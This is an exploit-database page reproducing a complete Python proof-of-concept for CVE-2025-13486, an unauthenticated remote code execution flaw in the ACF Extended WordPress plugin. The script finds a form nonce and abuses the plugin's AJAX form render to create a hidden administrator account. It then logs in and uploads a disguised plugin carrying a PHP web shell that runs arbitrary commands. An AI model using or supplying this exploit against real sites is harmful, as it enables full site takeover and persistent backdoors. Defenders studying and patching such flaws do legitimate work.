| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| Exploit for CVE-2025-13486 | 19 Dec 202510:49 | β | githubexploit | |
| Exploit for CVE-2025-13486 | 3 Dec 202517:22 | β | githubexploit | |
| Exploit for CVE-2025-13486 | 4 Dec 202507:54 | β | githubexploit | |
| Ntemplatesbyxit | 7 May 202615:36 | β | githubexploit | |
| Exploit for CVE-2025-13486 | 5 Dec 202507:57 | β | githubexploit | |
| Exploit for CVE-2025-13486 | 6 Dec 202513:54 | β | githubexploit | |
| Exploit for CVE-2025-13486 | 4 Dec 202523:28 | β | githubexploit | |
| CVE-2025-13486 | 3 Dec 202506:26 | β | circl | |
| WordPress plugin Advanced Custom Fields Extended 代η 注ε ₯ζΌζ΄ | 3 Dec 202500:00 | β | cnnvd | |
| CVE-2025-13486 | 3 Dec 202506:47 | β | cve |
=============================================================================================================================================
| # Title : WordPress ACF 0.9.1.1 unauthenticated Remote Code Execution vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/acf-extended/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/213140/ & CVE-2025-13486
[+] Summary : an unauthenticated Remote Code Execution vulnerability in the Advanced Custom Fields: Extended (ACF Extended) WordPress plugin(versions 0.9.0.5 through 0.9.1.1).
[+] PoC : python poc.py
#!/usr/bin/env python3
import re
import requests
import random
import string
import zipfile
import io
import time
import sys
from urllib.parse import urljoin, urlparse
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry
class WordPressACFExploit:
def __init__(self, target_url, nonce_page, username=None, password=None, email=None):
self.target_url = target_url.rstrip('/')
self.nonce_page = nonce_page
self.session = requests.Session()
retry_strategy = Retry(
total=3,
backoff_factor=1,
status_forcelist=[429, 500, 502, 503, 504]
)
adapter = HTTPAdapter(max_retries=retry_strategy)
self.session.mount("http://", adapter)
self.session.mount("https://", adapter)
self.username = username or self.generate_random_string(8)
self.password = password or self.generate_random_string(12)
self.email = email or f"{self.username}@example.com"
self.nonce = None
self.admin_cookie = None
def generate_random_string(self, length):
"""Generate a random alphanumeric string."""
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def check_wordpress(self):
"""Check if target is running WordPress."""
try:
response = self.session.get(self.target_url, timeout=10)
if response.status_code == 200:
if 'wp-content' in response.text or 'wp-includes' in response.text:
return True
admin_url = urljoin(self.target_url, '/wp-admin/')
admin_response = self.session.get(admin_url, timeout=10)
if admin_response.status_code in [200, 302]:
return True
except Exception as e:
print(f"[!] Error checking WordPress: {e}")
return False
def find_nonce(self):
"""Extract nonce from the specified page."""
nonce_url = urljoin(self.target_url, self.nonce_page)
try:
response = self.session.get(nonce_url, timeout=10)
if response.status_code == 200:
pattern = r'"nonce":"([a-f0-9]+)"'
match = re.search(pattern, response.text, re.IGNORECASE)
if match:
self.nonce = match.group(1)
print(f"[+] Found nonce: {self.nonce}")
return True
except Exception as e:
print(f"[!] Error finding nonce: {e}")
return False
def check_plugin_version(self):
"""Check if vulnerable plugin version is installed."""
try:
readme_urls = [
urljoin(self.target_url, '/wp-content/plugins/acf-extended/readme.txt'),
urljoin(self.target_url, '/wp-content/plugins/acf-extended/README.txt'),
]
for url in readme_urls:
response = self.session.get(url, timeout=10)
if response.status_code == 200:
version_pattern = r'Stable tag:\s*([0-9.]+)'
match = re.search(version_pattern, response.text)
if match:
version = match.group(1)
print(f"[*] Plugin version: {version}")
# Check if version is vulnerable (0.9.0.5 to 0.9.1.1)
vulnerable_versions = ['0.9.0.5', '0.9.0.6', '0.9.0.7', '0.9.0.8',
'0.9.0.9', '0.9.1.0', '0.9.1.1']
if version in vulnerable_versions:
return True
except Exception:
pass
return self.nonce is not None
def check(self):
"""Perform vulnerability check."""
print("[*] Checking target...")
if not self.check_wordpress():
print("[-] Target does not appear to be running WordPress")
return False
print("[+] WordPress detected")
if not self.find_nonce():
print("[-] Could not find nonce on specified page")
return False
if not self.check_plugin_version():
print("[-] Plugin version not vulnerable or cannot be determined")
return False
print("[+] Target appears vulnerable")
return True
def exploit(self):
"""Execute the exploit."""
if not self.check():
print("[-] Exploit check failed")
return False
print("[*] Creating administrator account...")
if not self.create_admin_user():
print("[-] Failed to create administrator account")
return False
print("[*] Logging in as administrator...")
if not self.login():
print("[-] Failed to login")
return False
print("[*] Uploading payload...")
if not self.upload_payload():
print("[-] Failed to upload payload")
return False
return True
def create_admin_user(self):
"""Exploit the vulnerability to create an admin user."""
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
payload = {
'action': 'acfe/form/render_form_ajax',
'nonce': self.nonce,
'form[render]': 'wp_insert_user',
'form[user_login]': self.username,
'form[user_email]': self.email,
'form[user_pass]': self.password,
'form[role]': 'administrator'
}
try:
response = self.session.post(ajax_url, data=payload, timeout=30)
if response.status_code == 200:
if re.search(r'</div>\s*\d+\s*</div>', response.text):
print(f"[+] Administrator account created:")
print(f" Username: {self.username}")
print(f" Password: {self.password}")
print(f" Email: {self.email}")
return True
except Exception as e:
print(f"[!] Error creating admin user: {e}")
return False
def login(self):
"""Login to WordPress admin."""
login_url = urljoin(self.target_url, '/wp-login.php')
try:
response = self.session.get(login_url, timeout=10)
pattern = r'name="log"|id="user_login"'
if not re.search(pattern, response.text):
print("[-] Could not find login form")
return False
except Exception as e:
print(f"[!] Error accessing login page: {e}")
return False
login_data = {
'log': self.username,
'pwd': self.password,
'wp-submit': 'Log In',
'redirect_to': urljoin(self.target_url, '/wp-admin/'),
'testcookie': '1'
}
try:
response = self.session.post(login_url, data=login_data, timeout=30)
if response.status_code == 200:
if 'wp-admin' in response.url or 'dashboard' in response.text.lower():
print("[+] Successfully logged in")
self.admin_cookie = self.session.cookies.get_dict()
return True
except Exception as e:
print(f"[!] Error during login: {e}")
return False
def generate_plugin(self, plugin_name, payload_name, php_payload):
"""Generate a malicious WordPress plugin ZIP file."""
main_plugin_content = f"""<?php
/**
* Plugin Name: {plugin_name}
* Plugin URI: https://example.com/{plugin_name}
* Description: A temporary plugin
* Version: 1.0.0
* Author: Admin
* License: GPL2
*/
// Hook into WordPress initialization
add_action('init', '{plugin_name}_init');
function {plugin_name}_init() {{
// Nothing to do here
}}
"""
payload_file_content = f"""<?php
// {payload_name}.php
{php_payload}
"""
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
# Add main plugin file
zip_file.writestr(f"{plugin_name}.php", main_plugin_content)
zip_file.writestr(f"{plugin_name}/{payload_name}.php", payload_file_content)
zip_file.writestr(f"{plugin_name}/{plugin_name}.php", main_plugin_content)
zip_buffer.seek(0)
return zip_buffer.getvalue()
def upload_payload(self, php_payload=None):
"""Upload and execute payload via plugin."""
if not self.admin_cookie:
print("[-] Not logged in")
return False
if not php_payload:
php_payload = """<?php
if (isset($_REQUEST['cmd'])) {
system($_REQUEST['cmd']);
} else {
echo "Payload executed";
}
?>
"""
plugin_name = f"wp_{self.generate_random_string(5).lower()}"
payload_name = f"ajax_{self.generate_random_string(5).lower()}"
print(f"[*] Generating plugin: {plugin_name}")
zip_data = self.generate_plugin(plugin_name, payload_name, php_payload)
upload_url = urljoin(self.target_url, '/wp-admin/plugin-install.php?tab=upload')
try:
response = self.session.get(upload_url, timeout=10)
# Look for upload nonce
pattern = r'name="_wpnonce" value="([^"]+)"'
match = re.search(pattern, response.text)
if not match:
print("[-] Could not find upload nonce")
return False
upload_nonce = match.group(1)
except Exception as e:
print(f"[!] Error accessing upload page: {e}")
return False
files = {
'pluginzip': (f'{plugin_name}.zip', zip_data, 'application/zip')
}
data = {
'_wpnonce': upload_nonce,
'_wp_http_referer': '/wp-admin/plugin-install.php?tab=upload',
'install-plugin-submit': 'Install Now'
}
try:
print("[*] Uploading plugin...")
response = self.session.post(upload_url, files=files, data=data, timeout=60)
if response.status_code == 200:
if 'successfully installed' in response.text.lower() or 'activated' in response.text.lower():
print("[+] Plugin uploaded successfully")
payload_url = urljoin(self.target_url, f'/wp-content/plugins/{plugin_name}/{payload_name}.php')
print(f"[*] Executing payload at: {payload_url}")
response = self.session.get(payload_url, timeout=10)
if response.status_code == 200:
print("[+] Payload executed")
print(f"Response: {response.text[:100]}")
return True
except Exception as e:
print(f"[!] Error uploading plugin: {e}")
return False
def main():
"""Main execution function."""
print("WordPress ACF Extended RCE Exploit (CVE-2025-13486) By indoushka")
print("=" * 50)
target_url = input("Target URL (e.g., http://example.com): ").strip()
nonce_page = input("Path to page with ACF form (e.g., /contact/): ").strip()
username = input("Username to create [optional]: ").strip() or None
password = input("Password for new user [optional]: ").strip() or None
email = input("Email for new user [optional]: ").strip() or None
exploit = WordPressACFExploit(
target_url=target_url,
nonce_page=nonce_page,
username=username,
password=password,
email=email
)
if exploit.exploit():
print("\n[+] Exploit completed successfully!")
if exploit.admin_cookie:
print("\n[!] You can now:")
print(f" 1. Login to {urljoin(target_url, '/wp-admin/')}")
print(f" Username: {exploit.username}")
print(f" Password: {exploit.password}")
while True:
cmd = input("\nEnter command to execute (or 'exit' to quit): ").strip()
if cmd.lower() == 'exit':
break
print("[!] Command execution requires the uploaded payload URL")
else:
print("\n[-] Exploit failed")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n[!] Exploit interrupted by user")
sys.exit(1)
except Exception as e:
print(f"\n[!] Unexpected error: {e}")
sys.exit(1)
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation